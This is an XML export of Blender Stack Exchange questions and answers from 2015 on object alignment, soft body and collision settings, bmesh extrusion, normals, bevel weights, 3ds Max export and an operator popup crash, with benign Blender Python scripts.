  <row Id="24464" PostTypeId="1" AcceptedAnswerId="24466" CreationDate="2015-02-09T05:10:13.703" Score="13" ViewCount="2049" Body="&lt;p&gt;&quot;Copy to selected&quot; copies the complete location X, Y and Z to all the selected objects. I wish to copy only Z location. Please see the images bellow to get idea of what I intend to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Before&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/f4e6r.png&quot; alt=&quot;before transforms&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/f5tQJ.png&quot; alt=&quot;after transforms&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="2217" LastEditDate="2015-02-09T15:07:10.990" LastActivityDate="2016-09-12T06:23:26.060" Title="Can I just copy &quot;Z location&quot; to all the selected objects?" Tags="&lt;transforms&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24465" PostTypeId="2" ParentId="24464" CreationDate="2015-02-09T05:51:21.577" Score="9" Body="&lt;p&gt;The position of the object is defined by it's origin point, but &lt;strong&gt;you can't always assume that the origin is centered when selecting multiple and more complex objects than a cube&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dBrhN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That the origins are prefectly centered is a special case, because of the different dimensions or diffenrent kinds of geometry. In this case the &lt;strong&gt;result of the test scene above&lt;/strong&gt;  would look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C60OA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to get around this is to &lt;strong&gt;calculate the object position differences of the meshes&lt;/strong&gt; and move the objects by adding or subtracting this differences in the axis from the current locations of the objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this case I wrote a small addon to &lt;strong&gt;align multiple objects to the geometry of the active&lt;/strong&gt; one. The script calculates the dimensions of every object that is selected and move the objects to the right spot, &lt;strong&gt;independent of the origin's position.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ugIu6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;br/&gt;&#xA;&lt;em&gt;Align objects to the second suzanne&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;Align Geometry&quot;,&#xA;    &quot;description&quot;: &quot;&quot;,&#xA;    &quot;author&quot;: &quot;poor&quot;,&#xA;    &quot;version&quot;: (0, 0, 1),&#xA;    &quot;blender&quot;: (2, 73, 0),&#xA;    &quot;location&quot;: &quot;Tool Shelf &amp;gt; Tools&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;3D View&quot;&#xA;}&#xA;&#xA;import bpy&#xA;from bpy.props import (EnumProperty,&#xA;                       PointerProperty,&#xA;                       )&#xA;from bpy.types import (Panel,&#xA;                       Operator,&#xA;                       AddonPreferences,&#xA;                       PropertyGroup,&#xA;                       )&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    logic&#xA;# ------------------------------------------------------------------------&#xA;&#xA;# get x,y,z min or max of geometry&#xA;def get_geo_min_max(obj, axis):&#xA;    axis_coords = []&#xA;    # iterate through all vertices&#xA;    for face in obj.data.polygons:&#xA;        verts_in_face = face.vertices[:]&#xA;        for vert in verts_in_face:&#xA;            local_point = obj.data.vertices[vert].co&#xA;            world_point = obj.matrix_world * local_point&#xA;            axis_coords.append(world_point[axis])&#xA;    # return the geometry minimum and maximum        &#xA;    return min(axis_coords), max(axis_coords)&#xA;&#xA;&#xA;# align objects to min or max of the reference object&#xA;def align_objects_to_min_or_max_of_reference_object(ob_reference, mesh_ob_transform_list, align_axis, extreme_point):&#xA;    for i in mesh_ob_transform_list:&#xA;        # get the difference of obj maximums&#xA;        if extreme_point == &quot;MAX&quot;:&#xA;            diff = abs(get_geo_min_max(ob_reference, align_axis)[1] - get_geo_min_max(i, align_axis)[1])&#xA;        # get the difference of obj minimums&#xA;        if extreme_point == &quot;MIN&quot;:&#xA;            diff = abs(get_geo_min_max(ob_reference, align_axis)[0] - get_geo_min_max(i, align_axis)[0])&#xA;        # if current position is higher the reference&#xA;        if get_geo_min_max(ob_reference, align_axis)[0] &amp;gt; get_geo_min_max(i, align_axis)[0]:&#xA;            i.location[align_axis] += diff&#xA;        # if current position is same the reference&#xA;        if get_geo_min_max(ob_reference, align_axis)[0] == get_geo_min_max(i, align_axis)[0]:&#xA;            i.location[align_axis] -= diff&#xA;        # if current position is below the reference&#xA;        if get_geo_min_max(ob_reference, align_axis)[0] &amp;lt; get_geo_min_max(i, align_axis)[0]:&#xA;            i.location[align_axis] -= diff&#xA;&#xA;# align objects to the center of the reference object&#xA;def align_objects_to_center_of_reference_object(ob_reference, mesh_ob_transform_list, align_axis):&#xA;    # get extreme points of reference&#xA;    ob_ref_extremes = get_geo_min_max(ob_reference, align_axis)&#xA;    # calculate axis center&#xA;    ob_ref_axis_center = ob_ref_extremes[0] + (0.5 * (ob_ref_extremes[1] - ob_ref_extremes[0]))&#xA;    for i in mesh_ob_transform_list:&#xA;        # get extreme points of i&#xA;        i_extremes = get_geo_min_max(i, align_axis)&#xA;        # calculate center&#xA;        i_axis_center = i_extremes[0] + (0.5 * (i_extremes[1] - i_extremes[0]))&#xA;        # calculate difference&#xA;        diff = abs(ob_ref_axis_center - i_axis_center)&#xA;        # if current position is above the reference&#xA;        if ob_ref_axis_center &amp;gt; i_axis_center:&#xA;            i.location[align_axis] += diff&#xA;        # if current position is same as reference&#xA;        if ob_ref_axis_center == i_axis_center:&#xA;            i.location[align_axis] += diff&#xA;        # if current position is below as reference&#xA;        if ob_ref_axis_center &amp;lt; i_axis_center:&#xA;            i.location[align_axis] -= diff&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    ui&#xA;# ------------------------------------------------------------------------&#xA;&#xA;def axisStringToInt(axis_str):&#xA;    axes = {&#xA;        'X': 0,&#xA;        'Y': 1,&#xA;        'Z': 2&#xA;    }&#xA;    return axes[axis_str]&#xA;&#xA;class GeometryAlignSettings(PropertyGroup):&#xA;    axes = [&#xA;        ('X', &quot;X Axis&quot;, &quot;&quot;),&#xA;        ('Y', &quot;Y Axis&quot;, &quot;&quot;),&#xA;        ('Z', &quot;Z Axis&quot;, &quot;&quot;),&#xA;    ]&#xA;    transform = EnumProperty(&#xA;        name=&quot;Transformation Axes:&quot;,&#xA;        description=&quot;Apply transformation to&quot;,&#xA;        items=axes&#xA;        )&#xA;&#xA;class OBJECT_PT_geometry_align_panel(Panel):&#xA;    bl_idname = &quot;OBJECT_PT_geometry_align_panel&quot;&#xA;    bl_label = &quot;Align Geometry&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    bl_category = &quot;Tools&quot;&#xA;    bl_context = &quot;objectmode&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        scene = context.scene&#xA;        active_obj = context.active_object&#xA;        col = layout.column(align=True)&#xA;        col.prop(scene.geometry_align, &quot;transform&quot;, text=&quot;&quot;)&#xA;        row = col.row(align=True)&#xA;        row.operator(&quot;geometryalign.to_max_geo&quot;, icon=&quot;ZOOMIN&quot;)&#xA;        row.operator(&quot;geometryalign.to_min_geo&quot;, icon=&quot;ZOOMOUT&quot;)&#xA;        row = col.row(align=True)&#xA;        row.operator(&quot;geometryalign.to_center_geo&quot;, icon=&quot;CURSOR&quot;)&#xA;&#xA;        if active_obj != None:&#xA;            if active_obj.type == &quot;MESH&quot; and active_obj != None:&#xA;                layout.label( &quot;Snap to &quot; + active_obj.name )&#xA;            else:&#xA;                layout.label( &quot;No active mesh&quot; )&#xA;&#xA;&#xA;class OBJECT_OT_AlignMaxButton(bpy.types.Operator):&#xA;    bl_idname = &quot;geometryalign.to_max_geo&quot;&#xA;    bl_label = &quot;Maximum&quot;&#xA;    bl_description = &quot;Align objects to maximum of active object&quot;&#xA;    #bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;        scn = context.scene # get the scene&#xA;        objs = bpy.context.selected_objects  # get selected objects&#xA;        mesh_objs = [m for m in objs if m.type == &quot;MESH&quot;] # get all mesh objects in selection&#xA;        active_obj = scn.objects.active # get active object&#xA;&#xA;        if active_obj != None: # error handling&#xA;            if active_obj.type == &quot;MESH&quot;:&#xA;                axis = axisStringToInt(scn.geometry_align.transform)  # set transform axis: x=0, y=1, z=2&#xA;                align_objects_to_min_or_max_of_reference_object (active_obj, mesh_objs, axis, 'MAX')&#xA;            else:&#xA;                self.report({'INFO'}, &quot;%s is not a mesh object&quot; % (active_obj.name))&#xA;        return{'FINISHED'}&#xA;&#xA;&#xA;class OBJECT_OT_AlignMinButton(bpy.types.Operator):&#xA;    bl_idname = &quot;geometryalign.to_min_geo&quot;&#xA;    bl_label = &quot;Minimum&quot;&#xA;    bl_description = &quot;Align objects to minimum of active object&quot;&#xA;    #bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;        scn = context.scene # get the scene&#xA;        objs = bpy.context.selected_objects  # get selected objects&#xA;        mesh_objs = [m for m in objs if m.type == &quot;MESH&quot;] # get all mesh objects in selection&#xA;        active_obj = scn.objects.active # get active object&#xA;&#xA;        if active_obj != None: # error handling&#xA;            if active_obj.type == &quot;MESH&quot;:&#xA;                axis = axisStringToInt(scn.geometry_align.transform)  # set transform axis: x=0, y=1, z=2&#xA;                align_objects_to_min_or_max_of_reference_object (active_obj, mesh_objs, axis, 'MIN')&#xA;            else:&#xA;                self.report({'INFO'}, &quot;%s is not a mesh object&quot; % (active_obj.name))&#xA;        return{'FINISHED'}&#xA;&#xA;class OBJECT_OT_AlignCenterButton(bpy.types.Operator):&#xA;    bl_idname = &quot;geometryalign.to_center_geo&quot;&#xA;    bl_label = &quot;Center&quot;&#xA;    bl_description = &quot;Align objects to center of active object&quot;&#xA;    #bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;        scn = context.scene # get the scene&#xA;        objs = bpy.context.selected_objects  # get selected objects&#xA;        mesh_objs = [m for m in objs if m.type == &quot;MESH&quot;] # get all mesh objects in selection&#xA;        active_obj = scn.objects.active # get active object&#xA;&#xA;        if active_obj != None: # error handling&#xA;            if active_obj.type == &quot;MESH&quot;:&#xA;                axis = axisStringToInt(scn.geometry_align.transform)  # set transform axis: x=0, y=1, z=2&#xA;                align_objects_to_center_of_reference_object (active_obj, mesh_objs, axis)&#xA;            else:&#xA;                self.report({'INFO'}, &quot;%s is not a mesh object&quot; % (active_obj.name))&#xA;        return{'FINISHED'}&#xA;&#xA;&#xA;# ------------------------------------------------------------------------&#xA;#    register and unregister functions&#xA;# ------------------------------------------------------------------------&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Scene.geometry_align = PointerProperty(type=GeometryAlignSettings)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Scene.geometry_align&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2015-03-01T20:36:24.160" LastActivityDate="2015-03-01T20:36:24.160" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24466" PostTypeId="2" ParentId="24464" CreationDate="2015-02-09T08:26:46.810" Score="16" Body="&lt;p&gt;You can also try another way:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Switch pivot point type to &lt;strong&gt;Active Element&lt;/strong&gt;, toggle &lt;strong&gt;Manipulate Center Points&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Select objects, keep one active, then &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X5jze.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Thanks to Bastien Montagne (aka mont29)'s &lt;a href=&quot;https://developer.blender.org/rB177d051126b3ea4a1dec6a016ae67d7f51f233d0&quot; rel=&quot;nofollow noreferrer&quot;&gt;commit&lt;/a&gt;, you can find this feature in latest version, now only for Location, but also Rotation, Scale, Dimensions, etc:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RRyXL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RRyXL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2016-09-12T06:23:26.060" LastActivityDate="2016-09-12T06:23:26.060" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24467" PostTypeId="2" ParentId="24434" CreationDate="2015-02-09T08:29:24.010" Score="1" Body="&lt;p&gt;To alter the amount that an object can be squashed try turning on &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Soft_Body/Reference#Soft_Body_Edges&quot; rel=&quot;nofollow&quot;&gt;soft body&lt;/a&gt; and experiment with the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_5/bpy.types.SoftBodySettings.html&quot; rel=&quot;nofollow&quot;&gt;soft body edge settings&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.modifier_add(type='SOFT_BODY')&#xA;bpy.context.object.modifiers[&quot;Softbody&quot;].settings.use_stiff_quads = True&#xA;bpy.context.object.modifiers[&quot;Softbody&quot;].settings.shear = 0.7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To prevent simulations passing through objects, first enable &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Collision&quot; rel=&quot;nofollow&quot;&gt;collision&lt;/a&gt; then adjust the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_5/bpy.types.CollisionSettings.html&quot; rel=&quot;nofollow&quot;&gt;collision properties&lt;/a&gt;. You may also need try adding more geometry (subdivide the mesh rather than just one face) and/or adding some thickness to the plane - like a flat cube.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.modifier_add(type='COLLISION')&#xA;bpy.context.object.collision.thickness_outer = 0.2&#xA;bpy.context.object.collision.thickness_inner = 0.6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-09T08:29:24.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24468" PostTypeId="2" ParentId="24461" CreationDate="2015-02-09T08:57:35.913" Score="5" Body="&lt;p&gt;I think a small python script is the only way. This script only works for Blender Render.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;active_obj = bpy.context.object&#xA;active_obj_material = active_obj.active_material&#xA;&#xA;for obj in bpy.context.selected_objects:&#xA;    if obj != active_obj:&#xA;        obj.active_material.diffuse_color = active_obj_material.diffuse_color&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use active_material so that objects with more than one material will use the material that is selected in the list, rather than forcing slot1 to always be used.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-09T08:57:35.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24469" PostTypeId="1" AcceptedAnswerId="24474" CreationDate="2015-02-09T09:25:09.310" Score="4" ViewCount="758" Body="&lt;p&gt;I did a bit of re-topo and suddenly when I smooth the model it creates this weird effect seen below:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Tz6vy.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DXkhK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've 'Removed Doubles' and made it 'Double Sided'. (I've also selected 'Auto &#xA;Smooth' which has helped a little but I still get these weird cut off points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see it near the top right section of the eye:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/IcvQl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would love to know the solution to this problem as it really messes with the render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend file: &lt;a href=&quot;http://www.pasteall.org/blend/34280&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/34280&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5424" LastEditorUserId="5424" LastEditDate="2015-02-09T11:56:54.157" LastActivityDate="2015-02-09T12:34:39.183" Title="Model has strange shade points" Tags="&lt;modeling&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ClosedDate="2015-02-09T17:06:17.340" ContentLicense="CC BY-SA 3.0" />
  <row Id="24470" PostTypeId="1" CreationDate="2015-02-09T09:39:16.703" Score="1" ViewCount="307" Body="&lt;p&gt;I am trying to render out an animation but I have a problem with a couple of the frames where some of the objects turns solid black. The only thing that's different in the problematic frame range is that I have animated some shape keyes. But I don't think that's the problem. If I render out one of the problematic objects in a single layer it works. If I view the whole scene in render mode in the viewport it also works fine. Almost all the objects in the scene are linked from other blenderfiles. Rendering with Cycles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The animation is 350 frames long and the bugged frames is about 10 of them. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="11493" LastActivityDate="2015-02-09T09:39:16.703" Title="Some objects turns black for a couple of frames in Cycles render" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24472" PostTypeId="2" ParentId="24350" CreationDate="2015-02-09T11:03:22.317" Score="9" Body="&lt;p&gt;You can extrude individual faces quite efficiently with the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73a_release/bmesh.html&quot;&gt;bmesh module&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import Vector&#xA;from random import random&#xA;&#xA;bpy.ops.mesh.primitive_grid_add(x_subdivisions=10, y_subdivisions=10, radius=5)&#xA;ob = bpy.context.object&#xA;me = ob.data&#xA;&#xA;bm = bmesh.new()&#xA;bm.from_mesh(me)&#xA;faces = bm.faces[:]&#xA;&#xA;for face in faces:&#xA;    r = bmesh.ops.extrude_discrete_faces(bm, faces=[face])&#xA;    bmesh.ops.translate(bm, vec=Vector((0,0,random()*2)), verts=r['faces'][0].verts)&#xA;&#xA;bm.to_mesh(me)&#xA;me.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/03h95.png&quot; alt=&quot;Generated mesh, mine-craft style&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you used the standard API, a lot of mode changes would be required (select face in object mode, switch to edit mode, extrude face, switch back to object mode and so on). Mode switching is time and memory intense, thus it should be avoided as much as possible.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-02-09T13:18:41.683" LastActivityDate="2015-02-09T13:18:41.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24473" PostTypeId="1" CreationDate="2015-02-09T11:23:22.707" Score="6" ViewCount="18121" Body="&lt;p&gt;Does anybody have an idea why this is not working?&lt;/p&gt;&#xA;" OwnerUserId="11494" LastEditorDisplayName="user1853" LastEditDate="2017-08-08T16:30:52.240" LastActivityDate="2017-08-08T16:30:52.240" Title="Alt-click is not selecting edge loops in lInux" Tags="&lt;transforms&gt;" AnswerCount="5" CommentCount="12" FavoriteCount="1" ClosedDate="2017-08-10T13:07:56.253" ContentLicense="CC BY-SA 3.0" />
  <row Id="24474" PostTypeId="2" ParentId="24469" CreationDate="2015-02-09T12:04:38.720" Score="7" Body="&lt;p&gt;It's simply that some of your normals that are wrong... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all faces &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; to recalculate the normals (or from the &lt;em&gt;3d view&lt;/em&gt; header use &lt;em&gt;Mesh &gt; Normals &gt; Recalculate Outside&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can happen when creating faces and selecting vertices in a different order than blender expects.&lt;/p&gt;&#xA;" OwnerUserId="11495" LastEditorUserId="12" LastEditDate="2015-02-09T12:34:39.183" LastActivityDate="2015-02-09T12:34:39.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24476" PostTypeId="1" AcceptedAnswerId="24489" CreationDate="2015-02-09T12:13:46.887" Score="6" ViewCount="528" Body="&lt;p&gt;I was rendering a 3D eye where i have a 'glint' on the upper-left side of the object, and it looks like a white circle (just like in the image) the problem is that i animated the camera into the black part of the texture, and when it reach some point the texture looks weird the geometry 'shows too much' and the light doesn't look right...i know the model isn't totally a perfect sphere but maybe there's a way to only fix that light.&#xA;Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ayvpk.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2016-05-17T14:45:24.947" Title="How can i fix the lighting to make the ''glint'' looks like a perfect circle?" Tags="&lt;modeling&gt;&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;light&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24477" PostTypeId="1" CreationDate="2015-02-09T12:14:22.837" Score="1" ViewCount="1002" Body="&lt;p&gt;I´m trying to do some nodes animation and I don´t know how find the data paths of the points that define a bezier curve.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-02-09T13:15:04.360" Title="How can I know the data paths of certain point of bezier curve?" Tags="&lt;python&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24478" PostTypeId="1" AcceptedAnswerId="24480" CreationDate="2015-02-09T12:36:18.223" Score="9" ViewCount="12772" Body="&lt;p&gt;I'm very new to Blender. I've used a loop cut and slide to make the shapes I want to indent in this object, then extruded them inward to get them how they look now, then dissolved the unnecessary leftover edges. I wanted to apply a bevel to some of the edges, so I used Tag Bevel in Edge Select Mode and marked the edges I wanted to Bevel, added the Bevel modifier and set the mode to weight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On one side, it looks exactly how I want it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hjhbK.png&quot; alt=&quot;Not broken&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other side though, some of the edges aren't being bevelled despite being tagged (the ones closest, on the left side):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N4be7.png&quot; alt=&quot;Broken&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it working for every edge other than these ones? This is the wireframe of the object and it doesn't appear to be any different on the side that works to the side that does not:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jopab.png&quot; alt=&quot;Wireframe&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And these are the bevel's settings just in case (I've tried fiddling with the width and it doesn't seem to have any effect. Incidentally, if I change limit method to None, those edges bevel fine):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wg2uy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11497" LastActivityDate="2018-07-19T17:42:43.683" Title="Some edges on model won't Bevel" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24479" PostTypeId="2" ParentId="23923" CreationDate="2015-02-09T12:54:45.057" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;parent the spheres to the curve so when you move the curve the sphere will follow&lt;/li&gt;&#xA;&lt;li&gt;animate the curve using shape key&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SuHJ3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-09T12:54:45.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24480" PostTypeId="2" ParentId="24478" CreationDate="2015-02-09T13:03:52.610" Score="16" Body="&lt;p&gt;you have a loop cut inside that part &quot;overlapping edges&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select all the mesh in edit mode click &lt;strong&gt;remove double&lt;/strong&gt; in &lt;strong&gt;tools&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;re-assign  the bevel weight again &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-09T13:03:52.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24481" PostTypeId="1" AcceptedAnswerId="24527" CreationDate="2015-02-09T13:07:18.453" Score="6" ViewCount="22968" Body="&lt;p&gt;How can I export 3D geometry object/scene, camera and textures to a .3DS format? I tried importing the file I created into 3DsMax but it didn't work properly.&lt;/p&gt;&#xA;" OwnerUserId="9718" LastEditorUserId="2217" LastEditDate="2015-02-09T23:12:18.927" LastActivityDate="2020-03-06T19:45:15.997" Title="How to properly export scene to 3ds Max?" Tags="&lt;objects&gt;&lt;export&gt;&lt;file-format&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24482" PostTypeId="1" AcceptedAnswerId="24485" CreationDate="2015-02-09T13:10:28.880" Score="2" ViewCount="1510" Body="&lt;p&gt;I am new to Blender and just started scripting for our pipeline. I have written a small script which when run sets up the scene unit settings. The script is run from a button in a panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To let the user know that the script has been run, a popup appears with a single &quot;OK&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I click the button it closes Blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit&lt;/em&gt;: Blender also closes if I click elsewhere (not on the OK button)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me why? Or tell me how to write this correctly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class SceneSettings(bpy.types.Operator):&#xA;&#xA;  bl_idname = &quot;la.scene_settings&quot;&#xA;  bl_label = &quot;Scene Settings Set Up&quot;&#xA;&#xA;  def execute(self, context):&#xA;    scene = bpy.context.scene&#xA;    scene.unit_settings.system = 'METRIC'&#xA;    scene.unit_settings.scale_length = 0.5&#xA;    context.window_manager.invoke_props_dialog(self,  width=175, height=50)&#xA;    return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sofia&lt;/p&gt;&#xA;" OwnerUserId="11499" LastEditorUserId="11499" LastEditDate="2015-02-09T13:19:19.597" LastActivityDate="2018-02-05T07:02:50.900" Title="Clicking &quot;OK&quot; on pop up closes Blender" Tags="&lt;python&gt;&lt;scripting&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
